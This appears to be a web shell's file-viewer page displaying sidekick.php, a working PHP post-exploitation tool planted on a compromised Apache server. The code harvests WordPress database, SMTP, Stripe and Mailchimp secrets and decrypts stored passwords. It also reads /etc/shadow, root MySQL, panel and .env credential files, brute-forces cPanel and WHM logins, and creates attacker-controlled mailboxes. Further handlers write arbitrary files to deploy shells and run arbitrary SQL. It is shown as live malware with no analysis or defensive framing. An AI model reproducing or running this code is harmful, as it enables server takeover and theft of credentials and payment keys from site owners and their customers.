HEX
Server: Apache/2.4.66 (Debian)
System: Linux 3e214bd180d4 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: /var/www/html/sidekick.php
<?php
/*
 * sidekick.php — server-side credential extraction + cPanel cracker
 * Pure PHP only: no exec/system/passthru — bypasses disable_functions completely.
 * Actions: ping | smtps | users | cp
 */
@error_reporting(0);
@set_time_limit(300);
@ignore_user_abort(true);

$act = trim($_POST['action'] ?? $_GET['action'] ?? '');
header('Content-Type: application/json');

if ($act === 'ping')  {
    echo json_encode([
        'ok'          => 1,
        'php'         => PHP_VERSION,
        'self_dir'    => dirname(__FILE__),
        'script_name' => ($_SERVER['SCRIPT_NAME'] ?? ''),
        'doc_root'    => ($_SERVER['DOCUMENT_ROOT'] ?? ''),
    ]);
    exit;
}
if ($act === 'smtps')   { smtps_handler();   exit; }
if ($act === 'users')   { users_handler();   exit; }
if ($act === 'cp')      { cp_handler();      exit; }
if ($act === 'files')   { files_handler();   exit; }
if ($act === 'write')   { write_handler();   exit; }
if ($act === 'sysinfo') { sysinfo_handler(); exit; }
if ($act === 'mysql')   { mysql_handler();   exit; }
http_response_code(404); echo '{}';

// ── wp-config helpers ─────────────────────────────────────────────────────────

function find_wpconfig(): ?string {
    // DOCUMENT_ROOT is within open_basedir on every standard server config —
    // check it first so LiteSpeed / strict open_basedir hosts still find wp-config
    $dr = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
    if ($dr) {
        foreach ([$dr . '/wp-config.php', dirname($dr) . '/wp-config.php'] as $f) {
            if (@is_readable($f) && @filesize($f) > 200) return $f;
        }
    }
    // Walk up from sidekick's own directory (catches unusual install layouts)
    $d = __DIR__;
    for ($i = 0; $i < 8; $i++) {
        $f = $d . '/wp-config.php';
        if (@is_readable($f) && @filesize($f) > 200) return $f;
        $nd = dirname($d);
        if ($nd === $d) break;
        $d = $nd;
    }
    return null;
}

function parse_wpconfig(string $src): array {
    $out = [];
    foreach (['DB_NAME','DB_USER','DB_PASSWORD','DB_HOST',
              'AUTH_KEY','SECURE_AUTH_KEY','AUTH_SALT'] as $k) {
        if (preg_match('/define\s*\(\s*[\'"]' . preg_quote($k,'/')
                       . '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]/', $src, $m))
            $out[$k] = $m[1];
    }
    return $out;
}

function decrypt_smtp_pass(string $enc, string $mail_key, string $auth_key, string $auth_salt): string {
    if (strlen($enc) < 30) return $enc;
    $raw = @base64_decode($enc, true);
    if ($raw === false || strlen($raw) < 17) return $enc;

    $try_dec = function($data, $key, $mode) {
        $iv     = substr($data, 0, 16);
        $cipher = substr($data, 16);
        $d = @openssl_decrypt($cipher, $mode, $key, OPENSSL_RAW_DATA, $iv);
        if ($d !== false && strlen($d) > 0 && ctype_print($d)) return $d;
        $d = @openssl_decrypt($cipher, $mode, $key, 0, $iv);
        if ($d !== false && strlen($d) > 0 && ctype_print(trim($d))) return trim($d);
        return false;
    };

    // WP Mail SMTP v3+: sodium secretbox (nonce=24 + ciphertext)
    if ($mail_key && function_exists('sodium_crypto_secretbox_open') && strlen($raw) > 24) {
        $k = @sodium_hex2bin($mail_key);
        if (strlen($k) < 32) $k = @base64_decode($mail_key);
        if (strlen($k) >= 32) {
            $nonce = substr($raw, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
            $ct    = substr($raw, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
            $d = @sodium_crypto_secretbox_open($ct, $nonce, $k);
            if ($d !== false && strlen($d) > 0 && ctype_print($d)) return $d;
        }
    }
    // WP Mail SMTP Pro: AES-256-CBC with mail_key
    if ($mail_key) {
        $k = @sodium_hex2bin($mail_key);
        if (strlen($k) < 16) $k = @base64_decode($mail_key);
        if (strlen($k) >= 16) {
            $r = $try_dec($raw, $k, 'AES-256-CBC');
            if ($r !== false) return $r;
        }
    }
    // Older: sha256/md5 of AUTH_KEY or AUTH_SALT
    foreach ([$auth_key, $auth_salt] as $src) {
        if (!$src) continue;
        foreach (['sha256', 'md5'] as $h) {
            $k  = substr(hash($h, $src), 0, 32);
            $k2 = substr($k, 0, 16);
            foreach (['AES-256-CBC','AES-128-CBC'] as $m) {
                $r = $try_dec($raw, strlen($m) > 7 ? $k : $k2, $m);
                if ($r !== false) return $r;
            }
        }
    }
    return $enc; // return original if all attempts fail
}

// ── action: smtps ─────────────────────────────────────────────────────────────

function smtps_handler(): void {
    $smtps  = [];
    $db_out = [];

    $cfg_path = find_wpconfig();
    $db = $cfg_path ? parse_wpconfig((string)@file_get_contents($cfg_path)) : [];
    $auth_key  = $db['AUTH_KEY']        ?? '';
    $auth_salt = $db['AUTH_SALT']       ?? '';
    $sec_auth  = $db['SECURE_AUTH_KEY'] ?? '';
    if (!$auth_key) $auth_key = $sec_auth;

    if (!empty($db['DB_USER'])) {
        $db_out = [
            'host' => $db['DB_HOST'] ?? 'localhost',
            'user' => $db['DB_USER'],
            'pass' => $db['DB_PASSWORD'] ?? '',
            'name' => $db['DB_NAME'] ?? '',
        ];
        $conn = @mysqli_connect(
            $db['DB_HOST'] ?? 'localhost',
            $db['DB_USER'],
            $db['DB_PASSWORD'] ?? '',
            $db['DB_NAME'] ?? '',
            3306
        );
        if ($conn) {
            // detect table prefix
            $prefix = 'wp_';
            $q = @mysqli_query($conn, "SHOW TABLES LIKE '%options'");
            while ($r = @mysqli_fetch_row($q)) {
                if (preg_match('/^([a-zA-Z0-9_]+)options$/', $r[0], $m)) {
                    $prefix = $m[1]; break;
                }
            }
            $tbl = mysqli_real_escape_string($conn, $prefix . 'options');
            $keys = "'wp_mail_smtp','wp_mail_smtp_options','wp_mail_smtp_mail_key',"
                  . "'swpsmtp_options','postman_options','mailpoet_settings',"
                  . "'newsletter_smtp_host','newsletter_smtp_password',"
                  . "'fluentmail-smtp-connections','fluentmail-smtp-settings',"
                  . "'woocommerce_stripe_settings','woocommerce_paypal_settings',"
                  . "'mailchimp_sf_mc_api_key','mc4wp_settings','sendgrid_settings'";
            $res = @mysqli_query($conn, "SELECT option_name,option_value FROM `$tbl` WHERE option_name IN ($keys)");
            $opts = [];
            while ($row = @mysqli_fetch_assoc($res)) {
                $opts[$row['option_name']] = $row['option_value'];
            }
            // also fetch admin_email separately (not in the IN list above)
            $ae_res = @mysqli_query($conn, "SELECT option_value FROM `$tbl` WHERE option_name='admin_email' LIMIT 1");
            $admin_email = $ae_res ? (@mysqli_fetch_row($ae_res)[0] ?? '') : '';
            @mysqli_close($conn);
            $mail_key = $opts['wp_mail_smtp_mail_key'] ?? '';
            $smtps = parse_smtp_opts($opts, $mail_key, $auth_key, $auth_salt);
        }
    }

    // Also scan wp-config.php directly for SMTP defines
    if ($cfg_path) {
        $src = (string)@file_get_contents($cfg_path);
        foreach (['SMTP_HOST','MAIL_HOST','MAILGUN_SMTP_SERVER'] as $key) {
            if (preg_match("/define\s*\(['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m)) {
                $pkey = str_replace('HOST', 'PASSWORD', $key);
                preg_match("/define\s*\(['\"]" . preg_quote($pkey, '/') . "['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $pm);
                $smtps[] = ['source' => "wpconfig/$key", 'host' => $m[1], 'port' => 587,
                            'user' => '', 'pass' => $pm[1] ?? '', 'enc' => 'tls'];
            }
        }
    }

    echo json_encode(['smtps' => $smtps, 'db' => $db_out, 'mail_key' => $mail_key ?? '', 'admin_email' => $admin_email ?? '']);
}

function parse_smtp_opts(array $opts, string $mail_key = '', string $auth_key = '', string $auth_salt = ''): array {
    $out = [];

    // wp_mail_smtp (most common plugin)
    foreach (['wp_mail_smtp', 'wp_mail_smtp_options'] as $key) {
        if (empty($opts[$key])) continue;
        $d = @unserialize($opts[$key]);
        if (!is_array($d)) $d = @json_decode($opts[$key], true);
        if (!is_array($d)) continue;
        $mailer = $d['mail']['mailer'] ?? ($d['mailer'] ?? 'smtp');
        $s = $d['smtp'] ?? [];
        if ($mailer === 'smtp' && !empty($s['host'])) {
            $out[] = ['source' => 'wp_mail_smtp', 'host' => $s['host'],
                      'port' => (int)($s['port'] ?? 587), 'user' => $s['user'] ?? '',
                      'pass' => $s['pass'] ?? '', 'enc' => $s['encryption'] ?? 'tls'];
        } elseif (in_array($mailer, ['sendgrid','mailgun','sendinblue','gmail','outlook','zoho','sparkpost','mailjet'], true)) {
            $api = $d[$mailer] ?? [];
            $k = $api['api_key'] ?? $api['client_secret'] ?? $api['api_secret'] ?? $api['secret'] ?? '';
            $from_email = $d['mail']['from_email'] ?? $d['mail']['from_name'] ?? '';
            if ($k) $out[] = ['source' => "wp_mail_smtp/$mailer", 'host' => "api.$mailer.com",
                               'port' => 0, 'user' => 'apikey', 'pass' => $k, 'enc' => '',
                               'from_email' => $from_email];
        }
        break;
    }

    // Easy WP SMTP / swpsmtp
    if (!empty($opts['swpsmtp_options'])) {
        $d = @unserialize($opts['swpsmtp_options']);
        if (!is_array($d)) $d = @json_decode($opts['swpsmtp_options'], true);
        if (is_array($d) && !empty($d['smtp_host'])) {
            $out[] = ['source' => 'easy_wp_smtp', 'host' => $d['smtp_host'],
                      'port' => (int)($d['smtp_port'] ?? 587), 'user' => $d['smtp_username'] ?? '',
                      'pass' => $d['smtp_password'] ?? '', 'enc' => $d['smtp_ssl'] ?? 'tls'];
        }
    }

    // FluentMail
    if (!empty($opts['fluentmail-smtp-connections'])) {
        $d = @json_decode($opts['fluentmail-smtp-connections'], true);
        if (is_array($d)) {
            foreach ($d as $conn) {
                $s = $conn['settings'] ?? [];
                if (!empty($s['host'])) {
                    $out[] = ['source' => 'fluentmail', 'host' => $s['host'],
                              'port' => (int)($s['port'] ?? 587),
                              'user' => $s['username'] ?? '', 'pass' => $s['password'] ?? '',
                              'enc' => $s['encryption'] ?? 'tls'];
                } elseif (!empty($s['api_key'])) {
                    $out[] = ['source' => 'fluentmail/api', 'host' => '', 'port' => 0,
                              'user' => 'apikey', 'pass' => $s['api_key'], 'enc' => ''];
                }
            }
        }
    }

    // Postman SMTP
    if (!empty($opts['postman_options'])) {
        $d = @unserialize($opts['postman_options']);
        if (!is_array($d)) $d = @json_decode($opts['postman_options'], true);
        if (is_array($d) && !empty($d['host_name'])) {
            $out[] = ['source' => 'postman_smtp', 'host' => $d['host_name'],
                      'port' => (int)($d['port'] ?? 587),
                      'user' => $d['sender_email'] ?? '',
                      'pass' => $d['authentication_password'] ?? '',
                      'enc' => $d['security_type'] ?? 'tls'];
        }
    }

    // WooCommerce Stripe (API key harvest)
    if (!empty($opts['woocommerce_stripe_settings'])) {
        $d = @unserialize($opts['woocommerce_stripe_settings']);
        if (!is_array($d)) $d = @json_decode($opts['woocommerce_stripe_settings'], true);
        if (!empty($d['secret_key'])) {
            $out[] = ['source' => 'stripe', 'host' => 'api.stripe.com', 'port' => 443,
                      'user' => 'sk', 'pass' => $d['secret_key'], 'enc' => ''];
        }
    }

    // Mailchimp API key
    if (!empty($opts['mailchimp_sf_mc_api_key'])) {
        $k = trim($opts['mailchimp_sf_mc_api_key']);
        if (strlen($k) > 10)
            $out[] = ['source' => 'mailchimp', 'host' => 'api.mailchimp.com', 'port' => 0,
                      'user' => 'apikey', 'pass' => $k, 'enc' => ''];
    }

    // Decrypt any encrypted passwords server-side before returning
    foreach ($out as &$entry) {
        $pw = $entry['pass'] ?? '';
        if ($pw && strlen($pw) >= 30 && preg_match('/^[A-Za-z0-9+\/]{30,}={0,2}$/', trim($pw))) {
            $dec = decrypt_smtp_pass(trim($pw), $mail_key, $auth_key, $auth_salt);
            if ($dec !== $pw) $entry['pass'] = $dec;
        }
    }
    unset($entry);
    return $out;
}

// ── action: users ─────────────────────────────────────────────────────────────

function users_handler(): void {
    $users = [];
    $cpanel_users = [];

    $passwd = @file_get_contents('/etc/passwd');
    if ($passwd) {
        foreach (explode("\n", trim($passwd)) as $line) {
            $p = explode(':', $line);
            if (count($p) < 7) continue;
            $uid = (int)$p[2];
            if ($uid < 500 || $uid > 65000) continue;
            $shell = $p[6] ?? '';
            if (strpos($shell, 'nologin') !== false || strpos($shell, '/false') !== false) continue;
            $users[] = ['user' => $p[0], 'uid' => $uid, 'home' => $p[5]];
        }
    }

    foreach (['/etc/userdomains', '/etc/trueuserdomains'] as $udfile) {
        $ud = @file_get_contents($udfile);
        if (!$ud) continue;
        foreach (explode("\n", trim($ud)) as $line) {
            $parts = explode(': ', $line, 2);
            if (count($parts) === 2) $cpanel_users[] = trim($parts[1]);
        }
    }
    $cpanel_users = array_values(array_unique($cpanel_users));

    echo json_encode(['users' => $users, 'cpanel_users' => $cpanel_users]);
}

// ── action: cp ────────────────────────────────────────────────────────────────

function cp_handler(): void {
    if (!function_exists('curl_init')) {
        echo json_encode(['error' => 'curl_disabled', 'cracked' => [], 'resellers' => []]);
        return;
    }

    $usernames = array_values(array_filter(array_map('trim',
        explode("\n", $_POST['usernames'] ?? ''))));
    $passwords = array_values(array_filter(array_map('trim',
        explode("\n", $_POST['passwords'] ?? ''))));

    $skip = ['root','daemon','nobody','www-data','apache','apache2','nginx','http',
             'mail','ftp','sshd','mysql','postgres','bin','sys','ntp','postfix',
             'dovecot','exim','named','dnsmasq'];

    $cracked   = [];
    $resellers = [];

    foreach ($usernames as $u) {
        if (!$u || in_array($u, $skip, true)) continue;
        foreach ($passwords as $pw) {
            if (!$pw || strlen($pw) < 4) continue;
            $token = cp_login_token($u, $pw, 2083);
            if (!$token) continue;

            // Get primary domain via UAPI
            $domain = '';
            $dom_raw = cp_api_get($token, 2083, 'DomainInfo/domains_data');
            if ($dom_raw) {
                $dom_j = @json_decode($dom_raw, true);
                $domain = $dom_j['data']['main_domain'] ?? '';
            }
            if (!$domain) $domain = $u;  // fallback: username

            // Create SMTP email account for exfil access
            $smtp_info = cp_create_smtp($token, 2083, $u, $domain);

            $cracked[] = [
                'user'   => $u,
                'pass'   => $pw,
                'port'   => 2083,
                'domain' => $domain,
                'smtp'   => $smtp_info,
            ];

            // WHM reseller check
            if (cp_try($u, $pw, 2087))
                $resellers[] = ['user' => $u, 'pass' => $pw];

            break;
        }
    }

    echo json_encode(['cracked' => $cracked, 'resellers' => $resellers]);
}

function cp_login_token(string $user, string $pass, int $port): string {
    $jar = tempnam(sys_get_temp_dir(), 'cpjar_');
    $ch = curl_init("https://localhost:$port/login/?login_only=1");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => 'login=' . rawurlencode($user)
                                . '&password=' . rawurlencode($pass),
        CURLOPT_TIMEOUT        => 8,
        CURLOPT_CONNECTTIMEOUT => 5,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS      => 3,
        CURLOPT_COOKIEJAR      => $jar,
        CURLOPT_COOKIEFILE     => $jar,
    ]);
    $resp = curl_exec($ch);
    curl_close($ch);
    if (!$resp) { @unlink($jar); return ''; }
    $ok = strpos($resp, '"status":1') !== false || stripos($resp, 'cpsess') !== false;
    if (!$ok) { @unlink($jar); return ''; }
    // Extract cpsess token from response or cookie jar
    if (preg_match('/security_token["\s:=]+\/?cpsess([0-9a-f]+)/i', $resp, $m))
        $tok = 'cpsess' . $m[1];
    elseif (preg_match('/cpsess([0-9a-f]+)/i', $resp, $m))
        $tok = 'cpsess' . $m[1];
    else
        $tok = '__jar__' . $jar;   // fall back to cookie jar path
    return $tok . '|' . $jar;
}

function cp_api_get(string $token_jar, int $port, string $endpoint): string {
    [$token, $jar] = array_pad(explode('|', $token_jar, 2), 2, '');
    $url = "https://localhost:$port/execute/$endpoint";
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT        => 8,
        CURLOPT_COOKIEFILE     => $jar,
        CURLOPT_COOKIEJAR      => $jar,
    ]);
    $resp = curl_exec($ch);
    curl_close($ch);
    return $resp ?: '';
}

function cp_create_smtp(string $token_jar, int $port, string $cpuser, string $domain): array {
    // Create a mailbox we control for SMTP relay access
    $smtp_user = 'wp_' . substr(md5($cpuser . time()), 0, 8);
    $smtp_pass = substr(str_shuffle('ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz23456789'), 0, 12)
               . '!1';
    [$token, $jar] = array_pad(explode('|', $token_jar, 2), 2, '');
    $fields = 'email=' . rawurlencode($smtp_user)
            . '&domain=' . rawurlencode($domain)
            . '&password=' . rawurlencode($smtp_pass)
            . '&quota=250';
    $ch = curl_init("https://localhost:$port/execute/Email/add_pop");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => $fields,
        CURLOPT_TIMEOUT        => 10,
        CURLOPT_COOKIEFILE     => $jar,
        CURLOPT_COOKIEJAR      => $jar,
    ]);
    $resp = curl_exec($ch);
    curl_close($ch);
    @unlink($jar);
    $ok = $resp && (strpos($resp, '"status":1') !== false || strpos($resp, '"errors":null') !== false);
    if ($ok) {
        return [
            'user' => "$smtp_user@$domain",
            'pass' => $smtp_pass,
            'host' => 'mail.' . $domain,
            'port' => 587,
        ];
    }
    return [];
}

function cp_try(string $user, string $pass, int $port): bool {
    $ch = curl_init("https://localhost:$port/login/?login_only=1");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => 'login=' . rawurlencode($user)
                                . '&password=' . rawurlencode($pass),
        CURLOPT_TIMEOUT        => 8,
        CURLOPT_CONNECTTIMEOUT => 5,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS      => 3,
    ]);
    $resp = curl_exec($ch);
    curl_close($ch);
    if (!$resp) return false;
    return strpos($resp, '"status":1') !== false || stripos($resp, 'cpsess') !== false;
}

// ── action: files ─────────────────────────────────────────────────────────────
// PHP-native file sweep — works even when exec/passthru/system are disabled.

function files_handler(): void {
    $out = ['files' => [], 'wpconfigs' => [], 'envfiles' => []];

    // Fixed-path system credential files
    $targets = [
        '/etc/passwd',
        '/etc/shadow',
        '/etc/exim4/passwd.client',
        '/etc/postfix/sasl_passwd',
        '/etc/exim.conf',
        '/etc/exim.conf.localopts',
        '/etc/exim4/exim4.conf.template',
        '/etc/exim4/conf.d/transport/30_exim4-config_remote_smtp_smarthost',
        '/usr/local/cpanel/etc/exim/system.conf',
        '/root/.my.cnf',
        '/etc/mysql/debian.cnf',
        '/etc/mysql/my.cnf',
        '/etc/vsftpd.conf',
        '/etc/proftpd/proftpd.conf',
        '/etc/pure-ftpd/db/pureftpd.passwd',
        '/var/cpanel/root.passwd',
        '/root/.accesshash',
        '/etc/psa/psa.conf',
        '/opt/psa/admin/conf/panel.ini',
        '/usr/local/directadmin/conf/directadmin.conf',
        '/usr/local/directadmin/conf/mysql.conf',
        '/usr/local/hestia/conf/mysql.conf',
        '/usr/local/vesta/conf/mysql.conf',
        '/etc/userdomains',
        '/etc/trueuserdomains',
        '/proc/self/environ',
        '/proc/1/environ',
        '/etc/mail/authinfo',
        '/etc/mail/access',
    ];
    foreach ($targets as $p) {
        $c = @file_get_contents($p);
        if ($c !== false && strlen($c) > 3) $out['files'][$p] = $c;
    }

    // wp-config.php — glob across common webroot patterns (depth 1-2)
    $dr = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
    $wpcfg_globs = array_filter([
        // DOCUMENT_ROOT is always within open_basedir — check directly first
        $dr ? $dr . '/wp-config.php'         : null,
        $dr ? dirname($dr) . '/wp-config.php': null,
        '/var/www/*/wp-config.php',
        '/var/www/*/*/wp-config.php',
        '/var/www/html/*/wp-config.php',
        '/home/*/public_html/wp-config.php',
        '/home/*/www/wp-config.php',
        '/home/*/public_html/*/wp-config.php',
        '/srv/*/wp-config.php',
        '/srv/www/*/wp-config.php',
        '/opt/*/wp-config.php',
        '/www/wwwroot/*/wp-config.php',
        '/data/wwwroot/*/wp-config.php',
        '/volume*/web/*/wp-config.php',
        // Wedos.net / Forpsi / Czech hosters
        '/data/web/virtuals/*/virtual/www/domains/*/wp-config.php',
        '/data/web/virtuals/*/virtual/www/wp-config.php',
        // Hetzner / OVH / Infomaniak shared
        '/var/customers/webs/*/wp-config.php',
        '/var/customers/webs/*/*/wp-config.php',
        // Plesk default webroot
        '/var/www/vhosts/*/httpdocs/wp-config.php',
        '/var/www/vhosts/*/*/wp-config.php',
        // RunCloud / GridPane / Spinupwp VPS layout
        '/home/runcloud/webapps/*/wp-config.php',
        '/var/www/*/public/wp-config.php',
        // Use __DIR__ to always catch the current install
        dirname(dirname(dirname(dirname(__FILE__)))) . '/wp-config.php',
        dirname(dirname(dirname(dirname(dirname(__FILE__))))) . '/wp-config.php',
    ]);
    foreach ($wpcfg_globs as $pat) {
        foreach ((array)@glob($pat) as $f) {
            if (isset($out['wpconfigs'][$f])) continue;
            $c = @file_get_contents($f);
            if ($c !== false && strlen($c) > 100) $out['wpconfigs'][$f] = $c;
        }
    }

    // .env files — same common paths
    $env_globs = [
        '/opt/*/.env',
        '/opt/*/*/.env',
        '/var/www/*/.env',
        '/var/www/*/*/.env',
        '/home/*/.env',
        '/home/*/public_html/.env',
        '/home/*/public_html/*/.env',
        '/srv/*/.env',
        '/srv/www/*/.env',
        '/root/.env',
    ];
    foreach ($env_globs as $pat) {
        foreach ((array)@glob($pat) as $f) {
            if (isset($out['envfiles'][$f])) continue;
            $c = @file_get_contents($f);
            if ($c !== false && strlen($c) > 10) $out['envfiles'][$f] = $c;
        }
    }

    echo json_encode($out);
}

// ── action: sysinfo ───────────────────────────────────────────────────────────
// Pure-PHP system fingerprint — no exec needed. Replaces most exec_cmd calls in
// fingerprint() so WAF rate-limiting of ?c= requests doesn't kill early data.

function sysinfo_handler(): void {
    $out = [];

    // PHP + server identity
    $out['php_version']     = PHP_VERSION;
    $out['sapi']            = PHP_SAPI;
    $out['server_software'] = $_SERVER['SERVER_SOFTWARE'] ?? '';
    $out['hostname']        = @gethostname() ?: '';
    $out['doc_root']        = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
    $out['script_filename'] = $_SERVER['SCRIPT_FILENAME'] ?? '';
    $out['self_dir']        = __DIR__;
    $out['php_ini']         = @php_ini_loaded_file() ?: '';
    $out['disable_functions'] = @ini_get('disable_functions') ?: '';
    $out['open_basedir']    = @ini_get('open_basedir') ?: '';

    // Full /proc/self/environ — same as exec_cmd "cat /proc/self/environ | tr '\0' '\n'"
    $env_raw = @file_get_contents('/proc/self/environ');
    if ($env_raw !== false && strlen($env_raw) > 10) {
        $out['proc_environ'] = str_replace("\0", "\n", $env_raw);
        // GhostLock detection
        if (strpos($env_raw, 'ghostlock_php_shield') !== false) {
            $out['ghostlock'] = true;
        }
        // Extract key env vars inline
        foreach (explode("\0", $env_raw) as $kv) {
            $p = explode('=', $kv, 2);
            if (count($p) === 2 && in_array($p[0], [
                'DOCUMENT_ROOT','HTTP_HOST','SERVER_NAME','SCRIPT_FILENAME',
                'PWD','LD_PRELOAD','HOME','USER','PATH',
            ])) $out['env'][$p[0]] = $p[1];
        }
        // Supplement DOCUMENT_ROOT from env if missing from _SERVER
        if (!$out['doc_root'] && isset($out['env']['DOCUMENT_ROOT'])) {
            $out['doc_root'] = rtrim($out['env']['DOCUMENT_ROOT'], '/');
        }
    }

    // /etc/passwd — system users for cPanel brute
    $passwd = @file_get_contents('/etc/passwd');
    if ($passwd !== false && strlen($passwd) > 20) {
        $out['etc_passwd'] = $passwd;
        $users = [];
        foreach (explode("\n", $passwd) as $line) {
            $p = explode(':', $line);
            if (count($p) < 7) continue;
            $uid = (int)$p[2];
            if ($uid >= 500 && (
                strpos($p[5], '/home') === 0 ||
                strpos($p[5], '/var/cpanel') === 0 ||
                strpos($p[5], '/usr/local/cpanel') === 0
            )) {
                $users[] = ['user' => $p[0], 'uid' => $uid, 'home' => $p[5]];
            }
        }
        $out['system_users'] = $users;
    }

    // Open ports from /proc/net/tcp + tcp6 (no exec needed)
    $ports = [];
    foreach (['/proc/net/tcp', '/proc/net/tcp6'] as $tcpf) {
        $lines = @file($tcpf, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        if (!$lines) continue;
        foreach (array_slice($lines, 1) as $line) {
            $cols = preg_split('/\s+/', trim($line));
            if (!isset($cols[1])) continue;
            $parts = explode(':', $cols[1]);
            if (count($parts) < 2) continue;
            $port = hexdec($parts[1]);
            $state = $cols[3] ?? '';
            if ($state === '0A' && $port > 0) $ports[] = $port;
        }
    }
    $out['open_ports'] = array_values(array_unique($ports));

    // Panel detection from filesystem (no exec needed)
    $panel = '';
    if (@file_exists('/usr/local/cpanel/version'))           $panel = 'cpanel';
    elseif (@file_exists('/usr/local/directadmin/directadmin')) $panel = 'directadmin';
    elseif (@file_exists('/usr/local/mgr5/etc/ispmgr.conf')) $panel = 'ispmgr';
    elseif (@file_exists('/usr/local/vesta/bin/v-list-users')) $panel = 'vesta';
    elseif (@file_exists('/usr/local/hestia/bin/v-list-users')) $panel = 'hestia';
    elseif (@file_exists('/etc/psa/.psa.shadow') || @file_exists('/usr/local/psa/version')) $panel = 'plesk';
    if ($panel) $out['panel_type'] = $panel;

    // cPanel user config for the current user
    $home = $out['env']['HOME'] ?? '';
    $cp_user = $home ? basename($home) : '';
    if ($cp_user) {
        $cpu = @file_get_contents("/var/cpanel/users/{$cp_user}");
        if ($cpu !== false && strlen($cpu) > 10) {
            $out['cpanel_user_config'] = $cpu;
            if (preg_match('/CONTACTEMAIL=(\S+)/', $cpu, $m)) {
                $out['cpanel_contact_email'] = $m[1];
            }
        }
    }

    // /usr/local/cpanel/etc/passwd
    $cpp = @file_get_contents('/usr/local/cpanel/etc/passwd');
    if ($cpp !== false && strlen($cpp) > 10) $out['cpanel_etc_passwd'] = $cpp;

    // /etc/userdomains + /etc/localdomains
    $ud = @file_get_contents('/etc/userdomains');
    if ($ud !== false && strlen($ud) > 5) $out['userdomains'] = $ud;
    $ld = @file_get_contents('/etc/localdomains');
    if ($ld !== false && strlen($ld) > 5) $out['localdomains'] = $ld;

    echo json_encode($out);
}

// ── action: write ─────────────────────────────────────────────────────────────
// Write base64-decoded content to a path. Used as shell-deploy fallback when
// all WP admin upload vectors are WAF-blocked but sidekick is alive.

function write_handler(): void {
    $path = trim($_POST['path'] ?? '');
    $data = $_POST['data'] ?? '';
    if (!$path || !$data) {
        echo json_encode(['ok' => false, 'err' => 'missing path or data']);
        return;
    }
    $decoded = @base64_decode($data, true);
    if ($decoded === false) {
        echo json_encode(['ok' => false, 'err' => 'base64 decode failed']);
        return;
    }
    $dir = dirname($path);
    if (!@is_dir($dir)) @mkdir($dir, 0755, true);
    $bytes = @file_put_contents($path, $decoded);
    echo json_encode(['ok' => $bytes !== false, 'bytes' => $bytes]);
}

// ── action=mysql — run a SQL query via PHP mysqli (no exec needed) ─────────────
function mysql_handler(): void {
    $hosts  = array_filter([
        trim($_POST['host'] ?? ''),
        'localhost',
        '127.0.0.1',
    ]);
    $user   = $_POST['user']  ?? '';
    $pass   = $_POST['pass']  ?? '';
    $db     = $_POST['db']    ?? '';
    $query  = $_POST['query'] ?? '';

    if (!$query) { echo json_encode(['ok'=>false,'error'=>'no query']); return; }
    if (!function_exists('mysqli_connect')) {
        echo json_encode(['ok'=>false,'error'=>'mysqli not available']); return;
    }

    $tried = [];
    foreach (array_unique(array_values($hosts)) as $h) {
        $c = @mysqli_connect($h, $user, $pass, $db ?: null);
        if (!$c) {
            $tried[] = $h . ': ' . @mysqli_connect_error();
            continue;
        }
        $res = @mysqli_query($c, $query);
        if ($res === false) {
            $err = @mysqli_error($c);
            @mysqli_close($c);
            echo json_encode(['ok'=>false,'host'=>$h,'error'=>$err]);
            return;
        }
        $rows = [];
        if ($res === true) {
            echo json_encode(['ok'=>true,'host'=>$h,'affected'=>@mysqli_affected_rows($c),'rows'=>[]]);
        } else {
            while ($row = @mysqli_fetch_assoc($res)) $rows[] = $row;
            echo json_encode(['ok'=>true,'host'=>$h,'rows'=>$rows]);
        }
        @mysqli_close($c);
        return;
    }
    echo json_encode(['ok'=>false,'error'=>'all hosts failed','tried'=>$tried]);
}